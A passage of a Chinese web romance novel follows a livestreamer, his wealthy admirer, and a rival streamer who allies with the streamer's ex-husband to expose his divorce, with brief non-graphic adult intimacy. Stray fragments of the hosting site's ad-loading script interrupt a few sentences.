秦觅珑察觉到旁人若有似无看过来的视线,动作迅速地提起于声的后衣领把他拖到了僻静的角落里。 紧接着,于声红着脸从地上爬起来,发生了如上述对话。 “所以,你有事吗?” “你,你再给我一次机会吧!”于声鼓起勇气,一双眼睛怯生生地哀求他,“以前都是那些人强迫我……我已经知道错了,而且……而且你现在做直播,他们都不知道你结婚了……” 于声在秦觅珑不含一丝情感波动的冰冷眼神里越说越小声。 “说够了吗?我和你之间从来没发生过任何实质性关系,从头到尾都是陌生人。”秦觅珑丝毫没有把于声的威胁放在眼里,并且失去了和于声周旋的耐心。 听到他这么绝情,于声再也忍不住了,泪水夺眶而出,“你!你就这么践踏我对你的爱吗?!” 他突然踮起脚,目标明确地朝着秦觅珑的嘴唇冲来。 秦觅珑大惊失色,一脚把他踹开,“你有病啊?” 于声吃痛地捂住被踹痛的肋骨,眼神不甘又倔强,“我要在你身上留下我的印记!” 秦觅珑:“……” “以后别再让我看见你。”秦觅珑头也不回地丢下一句话,赶紧在于声爬起来之前转身就逃。 这个世界太恐怖了,和于声比起来,关寻臻简直不要太正常。 “啊啾——”远在B省的关寻臻打了个喷嚏。 正在给他准备便当的关母看了他一眼,“这么大人了,衣服都不好好穿,耍什么酷?” 他只穿了件打底衫,毛衣像海军领披肩似的袖子打结松松挂在领口处,又帅又酷,就是毫无保暖作用。 关寻臻顺手把空调温度调高,“妈,便当里有什么?” “爷爷奶奶从蒙省旅游回来带了几头羊,送了一只给我们,要是你在家里的话大家可以一起吃个全羊宴。但是你说要回H市的话,先给你做道葱爆羊肉带走吧。” “哦——”关寻臻习惯性应了一声,突然之间想起什么又问道:“什么葱?不要洋葱。” 关母奇怪地看他一眼,“做什么你就吃什么好啦!葱爆羊肉肯定用洋葱才正宗,今天怎么要求这么多?” “反正我不要吃洋葱,我从小就不爱吃。” “我怎么不知道你不喜欢吃洋葱?”关母双手抱胸,神色莫测地盯着他,“小时候奶奶烤的洋葱土豆包,你一口气吃掉六个,吃完之后还一直叹气说自己肚子吃饱了嘴巴没吃饱。” 关寻臻石化:“……” “谈恋爱啦?”关母心中缓缓浮现一个大胆的猜测,她眼睛一转,状似不经意地问道:“有对象怎么不带回家里来?我又不是什么恶婆婆,你就算喜欢男的我都不反对的啊。” “不是对象,就是最近认识了一个挺聊得来的朋友。”关寻臻开始磨咖啡豆,专心致志得像是在做一项科学研究,避开关母探究的视线。 关母心道:没否认喜欢男的这句话,看来这个朋友果然是男的,幸亏她早就做好了心理准备。 这臭小子!喜欢男生就喜欢男生咯,搞这么神秘害得她一直以为他要孤独终老。 “那我做个烤小羊排吧,他除了洋葱还有什么忌口吗?” “没了吧。”关寻臻慢吞吞地把滤纸折好塞进滤杯。 关母坐到他对面,目不转睛盯着他,“假如对方家境一般,不可以用钱砸人家,不能威逼利诱人家,恋爱是平等的、互相尊重的,知道吗?” 在直播间砸了上千万的关寻臻:“……知道了。” “谈对象不能操之过急,必须要确定交往才能发生关系,明白吗?” 阴天邀请人家来家里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看星星的关寻臻:“……明白。” “你们怎么认识的?他是做什么的?家里有多少人?” “哎呀!”关寻臻叹了口气,苍白无力地为自己辩解:“妈,你想太多了,我们只是朋友,我目前暂时没有和他长期交往的打算。” 他也不知道秦觅珑家里什么情况,不过对方看起来就是个很靠谱的人。 H市那个项目他其实早就做完了,这次和家里说要回去给项目收尾完全就是他想再陪秦觅珑一段时间的借口而已。 但是关寻臻心里也明白,有些人虽然惊艳,但注定只会是生命中的过客,他和秦觅珑在一起的可能性很小。 与其纠缠不休,不如度过一段美好的时光好聚好散。 关母耸耸肩,“好吧,既然你这么说,以后可不要哭着回来找妈妈。” “……”关寻臻手一抖,手冲壶的水流瞬间汹涌。 他怎么可能会因为这种事情哭啊! * “呜呜呜呜呜……” “大哥,你别哭了。”汪霖几乎要崩溃了,“你他爹的倒是说话啊!能不能来点实质性的证据?” 汪霖是一名主播,在跳跳鱼上有个几百来万的粉丝,但最近因为和一个新人主播掐架被封了直播间。 没错,他的主播ID就是飞天大狗熊。 既然跳跳鱼敢这么对他,那他跑去无花果也就没什么心理负担了,但他对那个叫Melon的小白脸主播还是恨得牙牙痒。 就在这时,突然有人通过他一个好朋友联系上他说是手里有Melon的黑料,能帮他扳倒对方。 结果加上联系方式后,对方就一直哭哭哭,整整在电话里哭了五分钟,他都没提取到什么有用信息,唯一能拼凑出来的就是Melon是个负心汉,辜负了这个自称于声的家伙。 于声抽噎了几下,哽咽道:“他、他是我老公……” 汪霖想到Melon直播间那堆不穿裤子天天调戏他的弹幕,“……你是他粉丝?” 有病吧?粉丝和正主一个德行,他都被平台封杀了还套他联系方式打电话过来骚扰他?! 于声连忙否认,“不是的!我和他结婚了!我们有结婚证的!” 汪霖震惊。 我勒个去,这是什么惊天大瓜! 汪霖犹疑地点开于声的朋友圈,里面全是做作的瞪眼嘟嘴比耶自拍。 ……没想到Melon自己长得挺帅,口味居然这么奇特。 “真的假的?”汪霖犹豫了一下,“你发张照片我看看。” 汪霖很快收到了照片,他确认了一下,很快就无语了,“离都离了啊?” 结婚证上盖着“双方离婚,证件失效”的红戳。 话音刚落,电话对面的哭声又响起来了。 “呜呜呜呜呜我不想离婚,是他逼我……” 汪霖:“……” 算了,离异也勉强称得上是黑料。 “你闭嘴!行了,接下来我们合作,你想从我这儿得到什么?” 于声抽抽噎噎,“我、我要他回到我身边!” 汪霖一脸便秘,听着对面的哭声似乎又有逐渐大起来的趋势,他连忙一口应下,“好好好!我答应你!” 算了,先哄住这傻子再说…… 15. 分手炮的威力? 飞天大狗熊在无花果平台的第一场直播,不仅他个人高调地发布了直播预约链接,平台更是大方无私地给了不少推流。 短视频平台重度用户兼乐子人郝莫并没有错过这次直播,他是真的没想到,那个叫做Melon的新主播,居然拥有如此腥风血雨的体质,不仅短短几天内打入千万粉丝量级初代网红圈,还让爵爷和好兄弟狗熊反目成仇,百万主播飞天大狗熊更是被曝出虚假人设,不得不出走其他平台…… 这几天发生的事情几乎让整个网红圈遭遇了一场大地震,Melon这个小新人更是以势如破竹的涨粉趋势登顶跳跳鱼本月度热议话题人物top1,神秘的身份背景、屡次出圈引得众多网友嗷嗷叫的颜值以及人狠话不多的脾气都让这个男人成为了传说般的存在。 飞天大狗熊的直播预约人次高达20万,或许这不能和平台上动辄成百上千万的网红粉丝数量相提并论,但在他更换了直播平台又全是活人粉的情况下已经相当不错了。 终于到了他开播的时间段,郝莫和诸多网友一样蹲在直播间虎视眈眈,只要飞天大狗熊随便说一句话,都能被他们掰开揉碎解读出许多暗示含义。 但奇怪的是,开播后飞天大狗熊居然没有任何diss老东家和那个新人主播的举动,他先是忏悔了一下自己做局坑了爵爷一把的事情。 “唉,其实我自己也会后悔了,我当时那就是鬼迷心窍,现在后悔也没办法了,算是彻底失去了一个好兄弟吧,大家引以为戒,不要像我一样因小失大……” 然后承认了自己立虚假人设。 “你们知道的,网络上真真假假假假假,很正常的嘛,你们随便报一个主播的名字,我都能喷他好几条。谁会在网络上裸奔?!你们能看见的,要么就是假的,要么就是春秋笔法知道不?总之只能看见我们想让你们看到的东西。” 弹幕看热闹不嫌事大地报了好几个主播的名字,多半是些和飞天大狗熊关系不错或是差到极点的。 爵爷和Melon赫然在列。 汪霖状似无意地撇撇嘴,不屑道:“这我可不敢说,万一被偏激粉丝寄刀片怎么办?毕竟有些人虽然婚都结了,还光鲜亮丽地当着网络男神呢。” 【??】 【啊??狗熊你再说一遍,什么玩意儿?】 【我没听错吧?你说啥?谁结婚了??!】 汪霖瞬间闭上嘴,拍了拍自己的脑袋,神情懊恼,“我什么也没说啊!我胡说的,大家千万别当真!” 【完了,这下真给你小子搞到绝密内幕了。】 【你熊哥还是你熊哥,就这么水灵灵地曝出了一个惊天大瓜/点赞】 【都是千年的狐狸,你和谁玩儿聊斋呢?究竟是谁啊?说个首字母缩写总行吧?】 【这还用问吗?首先排除和狗熊关系不咋地的Melon,应该是狗熊比较熟悉的初代网红,难道是爵爷?】 【笑了,网络男神还能是谁?我押M打头新人男主播一票。】 【就算Melon结婚了,他狗熊怎么可能知道?难道他亲戚在民政局上班?还是说Melon的另一半直接跳出来告诉他Melon结婚了哦~】 【哈哈哈哈哈或者他亲眼看见Melon的结婚证了/偷笑】 汪霖:“……” 事实就是这样没错啊! 于声跳出来告诉他Melon结婚了,还给他看了他们俩的结婚证! 但这些话他不能直接在直播间里说出来。 汪霖假笑几声,插科打诨费尽心思把话题带过去,延续了一如既往的无厘头直播风格,任由弹幕讨论得热火朝天也不肯再开口多说一个字。 与此同时,有眼尖的网友发现了什么东西。 【咦?狗熊居然关注了一个人?】 【我趣!而且还是唯一关注,这人谁啊,从来没见过。】 【好土的名字……你的余生……我擦咧,我知道了!结婚的不会就是飞天大狗熊自己吧?!】 汪霖脸上的表情从窃喜到无语。 有没有搞错!这群网友都是傻子吗! 居然把于声和他牵扯到一起,他有这么饥不择食吗?! 【看他表情,刚刚不知道在甜蜜偷笑什么,现在又一副努力装淡定的样子,估计下一秒就要开口撇清关系了。】 【大哥你心里能不能对自己有个正确的认知?是男人就公开啊!你又不是人家Melon,没有那么多女友粉男友粉的,不用顾及这些。】 刚打算开口解释的汪霖差点被这弹幕给气背过去,一张脸憋成了猪肝色。 他扭曲着脸开口,语气坚决,“就是我认识的一个还不错的潜力新人,大家有空可以去支持支持他的直播。” 【脸都红了,啧啧啧】 【果然,开始撇清关系了!/放大镜】 【你别太爱了我说,还给人家引流呢……】 一副后悔的情绪突然爬上汪霖的心头——这个于声果然就是个害人精,和Melon一样都不是什么好东西! * “等很久了吗?”秦觅珑一进门就先把外衣挂了起来。 “我怎么不知道你居然这么忙,早知道就先提前和你预约一下了。”关寻臻轻笑一声,把便当从保温盒里拿出来。 “尝尝看,我妈的手艺。” 秦觅珑愣了一下,接过筷子吃起来。 “怎么样?”关寻臻坐在对面托着下巴看得津津有味。 “好吃。” 关寻臻张开嘴,“我也要。” 秦觅珑拧着眉,神色纠结地看了一眼自己用过的筷子,又看了一眼对面嗷嗷待哺但是没有打算拆开他那份便当的关寻臻。 关寻臻敲了敲桌子。 秦觅珑认命地夹了一筷子塞到他嘴里。 “味道确实不错。”关寻臻咽下嘴里的食物,故意佯装生气地质问他:“亲都亲过了,用一双筷子怎么了?” 秦觅珑哼笑一声,埋头干饭,“亲过了是一回事,用餐卫生是另外一回事。” 不知道为什么,听秦觅珑这么说,关寻臻心里有点闷闷的。 其实他也不是喜欢在恋爱中歪歪腻腻的那种人,但是每次见到秦觅珑那副冷淡得像高岭之花似的,什么都不放在眼里的脸色,他就忍不住想让那张脸因为他而展现更加生动的表情。 恋爱?! 注意到自己刚刚在想什么后,关寻臻陡然一惊。 他从来没有背地里调查过秦觅珑的身份,也没有询问过对方更多的个人信息,秦觅珑也一样,这是一种心照不宣的默契。 原本注定萍水相逢的命运因为他一次又一次的主动成功地把两个人绑在一起。 短短几天从相遇相识飞速进展到坦诚相见,关寻臻说不清是这种打破规则秩序跳出命运的感觉让他如此沉迷,还是年轻漂亮的□□身体力行带给他的快乐更胜一筹。 ……也许是身体激素作祟,荷尔蒙激素是个容易让人上瘾的东西,一切都会在他回到B市后逐渐淡去。 关寻臻在心里不断开解自己,这是他第一次和人亲密接触,这些想法非常正常,不要错把一时的多巴胺快乐误当作遇见真爱。 “在想什么?”秦觅珑见关寻臻直直地盯着自己发呆,索性动手帮他拆开另一份便当盒,“你也吃啊,不要只盯着我吃饭。” 关寻臻回过神来,拿起筷子默默往嘴里扒饭。 他突然想到什么,“对了!” “听说那个什么狗熊主播又换了一家平台,要我帮你吗?”关寻臻眼神真挚,就算马上要和秦觅珑说拜拜了,他也想让对方尽可能地过得好一些,“我妈在无花果平台背后的公司有点股份。” 秦觅珑很果断地拒绝:“不用。” “好吧。”关寻臻恹恹地继续蒙头吃饭,几乎是一粒米一粒米往嘴里塞。 一想到要分开,他好像连胃口都没了,秦觅珑这个人简直从头到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 尾都是分毫不差地按照他心意长的,性格脾气长相通通都是为他量身定做的,连不吃洋葱都显得那么可爱。 要是秦觅珑愿意和他一起去B市,他们就可以多待一段时间了,唉…… 秦觅珑放下筷子。 “我吃好了。” 关寻臻也迫不及待放下筷子,“好好好!那我们开始吧!” 秦觅珑看了一眼关寻臻几乎没怎么动过的便当:“?” “开始……什么?” 关寻臻顶着秦觅珑疑惑不解的视线扭扭捏捏拉开外套拉链,脸都被他看红了,声音小得不能再小,“我以后……以后回B市,就不会再来找你了……” 这句话越说越艰难,关寻臻知道秦觅珑很难搞,于是他不得不卖一下惨,好让秦觅珑心软一下。 但他心知肚明这句话是真的,不知道怎么的,就从什么地方涌上了一股悲凉的情绪。 秦觅珑定定看了他好几分钟,发现这家伙的眼圈居然有点红了…… 他撑着脸颊,低低地笑起来。 关寻臻哀怨瞪他,在他这么一笑之下,所有伤感的情绪顿时都无影无踪了,“你笑什么?” 难道要和自己分开就一点也不伤心吗?他关寻臻就这么不值得人留恋吗?! 秦觅珑笑道:“头一回看见你这样子,感觉有点……” 他思索了一下,试探道:“好玩?” 关寻臻气得牙痒痒,一拍桌子站起来,“你过来!” 秦觅珑长腿一伸,不听他的,反而往后退了几步,脸上还挂着笑。 山不来就我我便去就山,关寻臻跨过去追他。 秦觅珑躲闪得很灵活,两个人你来我往,你追我赶,打打闹闹。 客厅太大了,关寻臻追得精疲力尽。 “stop……休战休战。”关寻臻气喘吁吁靠在岛台上,给自己倒了杯水解渴。 秦觅珑便也停下来,悠然自得地站在墙角处,逗弄一株绿植的叶子。 关寻臻悄无声息地放下玻璃杯,放轻脚步从秦觅珑背后一步步拉近距离,最后,出其不意地伸手—— “抓到了!” 他紧紧抱住秦觅珑的腰,笑得很欢乐。 秦觅珑握住他一只手,轻轻松松把人转了个圈按在墙上。 关寻臻脸上的笑戛然而止。 好吧,在最后一刻放松了警惕,不知道秦觅珑这下子要怎么教训他。 秦觅珑唇角弯弯,笑得很坏。 然后他低下头,结结实实亲住了一脸如临大敌的关寻臻。 没有等来报复的关寻臻满脸迷茫,嘴上已经不自觉地开始回应对方,手也习惯性地攀上他的肩和脖颈。 直到关寻臻被按在沙发上,他仰视着正在解纽扣的秦觅珑,眼神从他的脸辗转到漂亮的锁骨和腹肌。 秦觅珑注意到他的视线,余光扫了他一眼,停下了手上的动作,纳闷道:“你怎么了?” 关寻臻连忙眨眨眼,收回泪意,“没什么,你动作快点!” “……要不今天还是算了?”秦觅珑询问道。 他裸着上身,精瘦漂亮的肌肉延展出一道道轮廓分明的弧线。 “不行!”关寻臻一只手扒住他裤腰不放。 秦觅珑耸耸肩,利落地解开腰带。 “啊……”关寻臻咬住自己的指尖,泪水一颗颗往下掉。 秦觅珑提醒他:“我还没进去。” “……我知道。”关寻臻一颗心都要疼死了。 他一想到这可能是秦觅珑和他做的最后几次就忍不住想大哭一场,他以前明明很少掉眼泪的,荷尔蒙果然害人不浅。 他深呼吸几次,好不容易才平缓下泪意。 秦觅珑没有动作,等他平复好心情才出声调侃他,“有这么感人吗?难道这就是传说中的分手炮的威力?噢不,我们之间应该不叫分手,所以是——离别炮?” 关寻臻听得又想掉眼泪了。 16. 再见,Melon 于声这些天胡思乱想了好久,把秦觅珑的直播回放翻来覆去看了好多遍,终于认清了一个事实——秦觅珑已经不爱他了。 他从来没有在直播间提起过他,也任由弹幕老公老公地叫他,根本没有半点要回心转意的心思。 完全不像许俊楚口中的距离产生美,时间冲淡恨…… 可秦觅珑之前明明不是这样的,就算他连续夜不归宿几个月,他也不会过问;即便他喝得醉醺醺回家敲门,身上还带着其他男人留下的吻痕,他也会给他开门…… 究竟为什么,他们会走到这步呢? 确切地说,于声很想知道,究竟是什么改变了他的丈夫。 他变得如此耀眼出色,对直播间粉丝都会好言好语讲上几句,却偏偏对他这么残忍,这么无情! 手机震动了几声,是汪霖发过来的消息,提醒他那边该进行下一步了。 于声茫然地咬着唇,忐忑不安地打开了摄像头。 这是他第一次直播。 得益于汪霖“唯一关注”这个名头的引流,他的账号下已经有了大几千接近上万的粉丝。 于声看着跳出来的弹幕有点紧张,但还是在心里给自己打气。 于声,你可以的!秦觅珑可以,你也可以! 他想要向秦觅珑证明,自己做得不会比他差,他要让秦觅珑后悔,让他身败名裂,让他看看他当初的离婚选择是多么错误! 【好你个飞天大狗熊,长得浓眉大眼的,没想到居然好这一口?】 【谁好人让自己对象出来做成人直播啊???】 于声惴惴不安地搅着手指,扶正头上戴的猫耳朵发箍,怯生生地和直播间打招呼。 “大家好~我、我是狗熊的朋友余生。” …… 关寻臻越来越舍不得秦觅珑了。 白天,他要处理工作上的事情,秦觅珑似乎也很忙,但两个人都默契地没有多问。 晚上,只要一个对视就能瞬间擦出火花,他们解锁了很多地点,沙发、浴室、岛台、泳池、影音室……到最后双方一致认为,除了角色扮演之外,最适宜的地点仍然是那张躺下两个成年男人都绰绰有余的kingsize大床。 这些天关母已经给关寻臻发了好几套消息,内容基本雷同: 【听爷爷说H市那个项目已经做完了啊?你怎么还没回来?】 【真的谈恋爱了吧?对象是H市人?舍不得回B市了?】 【赶紧带回家让妈妈看看啊!】 关寻臻的回复也千篇一律:【快了】【没谈】 这段时间的浓情蜜意让他恍惚间都快要生出一种他真的在和秦觅珑谈恋爱的错觉了。 秦觅珑在这期间没有直播,关寻臻还暗搓搓地试探过他这个举动是不是因为他——作为榜一大哥,某人真的很不喜欢看见弹幕叫老公,每次有人叫老公他就狂刷礼物,如此一来,感谢打赏的弹幕就能把前面的压下去。 ……他花了千八百万都没这么叫过! 可惜秦觅珑似笑非笑看他一眼,要传达的意思很明确:你想多了。 想到这里,关寻臻突然有点动摇自己之前的想法了。 从前他一直笃定两个人走不下去,所以从来没有勇气开口叫出那些亲密称呼,也没有花心思去了解过秦觅珑这个人,现有的认知甚至只停留在他不吃洋葱这一点上。 但是,但是! 假设、假设……他们能在一起呢? 关寻臻看了一眼秦觅珑的背影,他站在阳台上打电话。 等他开门进来的时候,关寻臻状似不经意实则很紧张地迈出了解秦觅珑的第一步,“刚刚在和谁聊天?” 秦觅珑把手机塞进衣兜,捻起桌上洗好的樱桃吃,闻言挑眉看他,“干嘛,查岗吗?” 这句话不太适合出现在两个仅有□□关系的人之间,所以关寻臻听了顿觉心中甜蜜。 按捺住“扑通扑通”狂跳的心脏,关寻臻脸热道:“我就是想问问有没有我能帮上你的地方,尽管开口。” “不用麻烦你。”秦觅珑语气懒散地回绝。 每次秦觅珑用这种懒洋洋的腔调和关寻臻讲话,他就摸不透他的想法。 麻烦这个词,也不适合用在关系亲近的两人之间。 关寻臻低下头,认真地开始揪樱桃梗,语气很平稳,“你想不想去B市?” 去B市,他们在一起的几率会很大,假如他对秦觅珑的喜爱能维持得比较久,他可能、也许、说不定会不顾一切地和他结婚。 对关寻臻而言,目前这个假设的诱惑力堪称非同小可。 等待回答的几秒钟煎熬又漫长。 不知道过了多久,他终于听见对面传来的声音。 “以后有机会的话,会过去。” 关寻臻没说话,他把盘子里所有的樱桃梗都揪完了,力道大得像是在杀死它们。 半晌,他才抬起头,问:“做吗?现在。” 秦觅珑似乎对他的情绪变化毫无察觉,朝他招了招手。 关寻臻缓缓靠过去,轻轻吻住他。 第二天。 “这么突然?” 关寻臻轻轻应了一声,“B市有个业务需要我过去谈一下。” “好吧,假如早点知道就好了,我们昨天不该闹得那么晚。”秦觅珑看了一下时间,“你九点的飞机吗?现在去机场应该来得及。” 现在七点三十,到机场八点左右,贵宾通道能节省很多时间。 “你不用送我。”关寻臻没什么需要收拾的东西,拿上证件就能走,但他站在秦觅珑跟前,迟迟挪不动脚步。 “又不是什么生离死别。”秦觅珑低低笑了一下,张开双臂拥住他,“离别拥抱,再见。” 关寻臻用力回抱过去。 他不知道再一次见面会是什么时候,只有他辗转反侧,只有他患得患失,只有他留恋一场镜花水月……这样也好。 关寻臻把脸贴在秦觅珑的脸颊边,闭着眼,在他耳边轻声道:“再见,Melon。” 秦觅珑秉承着人道主义把人送到了小区门口。 他还在要不要和关寻臻再客套几句,结果人头也不回地上车走了,徒留他一个人愣在原地。 关寻臻一上车就立刻催促司机,“快开走!” 他盯着后车窗,那个身影越来越小,直至消失不见。 过快的车速硬生生把一幕唯美浪漫的慢镜头缩减成了风驰电掣赛车纪录片里的一抹剪影。 关寻臻:“……” 现 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在叫司机慢点开似乎也于事无补了。 秦觅珑回到自己家之后,果断补了个觉,现在他不是要处理庞大公司业务的富二代了,睡眠质量一天比一天好。 等他睡醒,手机上多了好几条消息。 有合作伙伴的,有爵爷的,还有不知道谁的好友申请。 没有关寻臻的,算算时间,别说B市了,就算B国都该飞到了。 秦觅珑给关寻臻发消息问他安全到家了吗? 关寻臻那边不知道在想什么,消息框上方一直显示对方仍在输入中。 好半天才发来一句【你要是改主意了想来B市,我现在就过来接你。】 秦觅珑:【?】 究竟是他听不懂人话还是关寻臻听不懂人话? 他们发的这两句话之间有什么因果关系吗? 问号一出,关寻臻瞬间安静得犹如鹌鹑,不仅撤回了刚刚的消息,还很礼貌地说了一句:【到家了,多谢关心。】 ……搞这么客气,好像昨晚一边哭一边让他再快点的人不是他一样。 秦觅珑嘴角一抽,也没有什么多管闲事的探索欲,根本没打算追问。 他点开爵爷的消息,正是对方搜集的飞天大狗熊近况。 其中提到了一个叫做“你的余生”的新主播,借着狗熊的名气上位,并且通过大擦特擦成为了无花果直播成人区的新人一哥。 秦觅珑:“……” 这个名字,他看一眼就知道是谁。 不愧是天赋异禀的H片主角受,事业赛道真是找对了。 除了他自己之外,秦觅珑找不到第二个这两个人搅和在一起的原因。 当然,他没自恋到以为他们是因为爱他才想联手得到他,百分之九十九是打算报复他,剩下百分之一是于声良心发现脑子清醒,不过这个可能性低到可以忽略不计。 汪霖都没想到事情会这么顺利! 不知道什么原因,Melon这几天居然都没开直播,很多粉丝过来看他直播,虽然骂声居多,但黑红也是红嘛! 就是于声这个傻叉有点烦,他说要开直播,他名气给他蹭蹭也就算了,结果这家伙好死不死去成人区当主播?! 汪霖开小号过去看过,实在难以想象一个男生居然能说出那些话,做出那些动作,看得他鸡皮疙瘩都起来了,偏偏弹幕好像还挺吃这一套的? 而且这家伙还有点运气在身上,居然就这么成为了成人区新一哥,这成人区门槛也太低了! 吓得汪霖赶紧又关注了百八十个美女主播,力求能把“唯一关注”那个名头冲淡,然而结果并不是很美好。 【掩耳盗铃是不是?对象去成人区也没什么好羞愧的,又不是下海拍片去了。】 【行了狗熊,别遮遮掩掩的,大伙儿都是你老粉,不在乎这些虚的。】 气得汪霖目眦欲裂,这些弹幕肯定是Melon粉丝反串的!他的老粉怎么可能说出这么恶毒的话! 于是他加快脚步,一天给于声打几十个电话,催他赶紧把Melon黑料放出来。 于声愿意吗? 他现在才不愿意呢,弹幕几乎都是夸他的,要是他说秦觅珑是他前夫,不论如何,他的粉丝肯定会过来骂他。 他又不蠢。 17. 直播界炸裂大瓜 转眼就到了十月。 “去时陌上花如锦,今日楼头柳又青。可怜侬在深闺等,海棠开日到如今……” 关母哼着戏曲的调子,抱着一只小狗往院子里走,正经过落地窗的时候,发现那里躺着一条不明生物体。 凑近一瞧,原来是她的宝贝儿子。 关寻臻眼神空茫地盯着天花板,不知道在看什么。 关母抬头看了一眼,天花板还是那副朴素又沉默的老实样子。 看来是她的好大儿出了问题。 她蹲下身把小狗放下来,那只小白狗欢快地摇着尾巴绕着她的脚边打转。 “怎么了儿子?小狗都比你有精神。”关母逗狗逗得不亦乐乎,“嘬嘬嘬,乌噜乌噜,到妈妈这里来~” 小白狗哈哧哈哧喘气,吐着舌头蹭她的掌心。 关寻臻本来就烦,更是没有心思应付他妈,他背过身去抬起手臂遮住眼睛不看她,“心情不好,躺会儿。” 关母撸撸狗毛,长长地叹了一口气,然后幽幽道:“被对象甩了?” 关寻臻:“......?” 他刚才也就说了七个字吧? 关寻臻的手臂微微动了一下,侧过来只露出半张脸,认真地盯着他妈,强调道:“不是对象,就是一朋友。” “朋友?”关母撸狗的动作停住了,笑了一下,“朋友?你们小孩儿交个朋友还能弄成这幅德行?” “……您就让我一个人待会儿吧,万分感谢。”关寻臻又把身体转回去,语气恹恹。 “行吧,下周那个宴会你记得去,年轻人挺多的,你过去多交点朋友,到时候也别摆着这么副死人脸。”关母耸耸肩,抱起小狗往回走,哼起刚刚没续上的小调,“……因何一去无音信,不管我家中这肠断滴人~” 想起自从回B市之后就一直空荡荡的聊天框的关寻臻:“……” * 汪霖都没想到事情会这么顺利,Melon那边不知道是出了什么事,一直没有开播,在他买了水军下场之后,目前的风向已经逐渐开始对自己有利——除了于声那边似乎不是特别配合之外。 他非常想不通,当初主动找到他信誓旦旦要搞Melon的不是他?现在踩着他人气搞擦边当成人主播还上瘾了是吧?! 于声现在正在直播。 他之所以能够问鼎成人区新一哥的位置,最重要的原因就是他足够勤奋,直播时长能比第二第三名加起来还要多。 【哇!今天穿的是豹耳加豹纹套装吗?福瑞控狂喜!】 【生生老婆好辣,斯哈斯哈(擦鼻血)】 【老婆你知道的我生来就没有老婆,求你给我炒炒……】 【想起前几天老婆直播的时候说有喜欢的人,究竟是哪个天杀的幸运儿啊!】 于声的脸上飘起两朵羞怯的红晕,他不自在地咬住唇,“不要说了……你们每次都这样……” 【别废话了,什么时候开始跳舞?】 【那我还是更喜欢听余生老婆的分享*经历环节。】 【上次的那段背着男朋友偷情还没说完呢,继续继续!】 【虽然每次都打着“情节皆为虚构”的tag,但是……嘿嘿嘿……】 【我也是佩服主播,想象力这么丰富,很多故事都编得跟真的一样,完全可以去当x片编剧……】 「欢迎至尊用户飞天大狗熊进入本直播间~」 【飞天大狗熊:呵呵,有没有可能,这些事情都是发生过的?】 【??楼上你谁?】 【狗熊怎么来看直播了?这几天大家都很关照嫂子直播间,你不用过来督查的。】 【哇哦~刺激!苦主现身说法是不是?原来余生真的是狗熊对象啊!】 于声万万没想到,汪霖居然也是个疯子,现在他的直播事业已经步入正轨,有那么多的人给他打赏,夸他喜欢他…… 秦觅珑这几天都没有直播,只要再给他一段时间,他的粉丝量就能超过秦觅珑,到时候无论是金钱、地位和声望他都有了,难道还用得着担心秦觅珑不会回到这么优秀的他身边吗? 汪霖为什么非要跳出来破坏他现在所拥有的一切呢?! 于是任由弹幕吵翻天,于声也只是咬着手指不作声,一副茫然又无辜的神情。 汪霖简直被他这个反应气得心梗,干脆不管不顾地开喷! 【飞天大狗熊:实话告诉你们吧,他连婚都结过了,另一半也是个网红,还是你们绝壁知道的人!】 【飞天大狗熊:他前夫就是Melon,你们以为我真有那么好心那么宽容,忍得了被一个成人区主播踩在头上吸血吗??要不是老子想报复Melon,才不会找这个傻叉合作!】 【飞天大狗熊:*&%?,我就知道一个被窝睡不出两种人,Melon把我害惨了,你这贱人一边说要跟我合作对付他一边也没放过我,你再每天在这儿搞擦边不务正业试试看呢?大不了我和你拼个鱼死网破!】 网友区: 【……信息量好大,我要缓缓。】 【??少往Melon身上泼脏水,余生这种野鸡也敢碰瓷Melon?】 【说实话,赶紧狗熊和余生这俩更像一对,看起来都不是很聪明的样子。】 【老婆你说句话啊!甜瓜粉等下马上闻着味儿顺着网线冲过来了。】 【说句题外话,人家搞擦边就是正业啊,熊熊你凭什么说人家不务正业?】 【很难想象Melon这种顶级帅哥也会遭遇另一半出轨这种事……】 见到弹幕开始有人骂他,于声才手忙脚乱地关掉直播,他低头看了看自己身上的轻薄衣料,又盯着暗下去的电脑屏幕怔怔看了好久。 似乎有什么东西彻底地被打碎了,但具体是什么,他也说不上来。 直播界的腥风血雨从娱乐区蔓延到了成人区,无花果平台成人区新一哥和刚跳槽过来的前太子爷飞天大狗熊狗咬狗,谁也没落着好。 这其中还掺杂着一个神秘主角Melon,仅仅开播几天就不知去向,而后又有飞天大狗熊和你的余生爆出Melon离异瓜,成功让越来越多的吃瓜群众摸到Melon的账号并且从粉丝们发出来的录屏回放里垂直入坑。 外界留言纷纷扬扬,有的说Melon是因为料到自己被爆瓜才有先见之明地提前离开,很快被众多甜瓜粉骂 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到销号——要离开也应该是不要脸的某成人区主播离开,受害者凭什么要为出轨者的错误买单? 甜瓜粉这阵子被虐得死去活来,先是喜欢的主播突然一声不吭断播,而后又被曝出他结过婚的事实,还没等他们反应过来,就被迎面糊了个Melon的配偶出轨且和无耻的狗熊合作靠着擦边混上隔壁成人区新一哥的地位。 粉丝气抖冷,连心疼他还来不及,更别说按照某些人想象中的会因为他结过婚而脱粉回踩了。 还有更加不靠谱的小道消息传言称,Melon是因为那张脸太过得天独厚所以被娱乐圈经纪人看上了,只不过刚签完合同就被曝出他离过婚的事情,因此还没出道就被雪藏了。 最令甜瓜粉不安的是,Melon确实已经很久没有直播了,更没有更新过任何动态,可恨的是你的余生和飞天大狗熊那两个贱人都还在播! 关寻臻对近日里直播界发生的大地震一无所知,自从回到B市且再也没有收到过秦觅珑的消息之后,他就自欺欺人似的捂住了自己的耳朵,刻意地避开一切和秦觅珑有关的消息。 就拿这几天来说,知道他毫不掩饰给一个小主播砸过上千万的圈内朋友还兴冲冲地跑过来告诉他他关照过的那个小主播桃色绯闻不少。 关寻臻光是看见桃色绯闻这两个字就脑补了不少让自己心痛得无法呼吸的情节,手速飞快地在那个人要说出下一句话之前对这位朋友进行了删除好友操作。 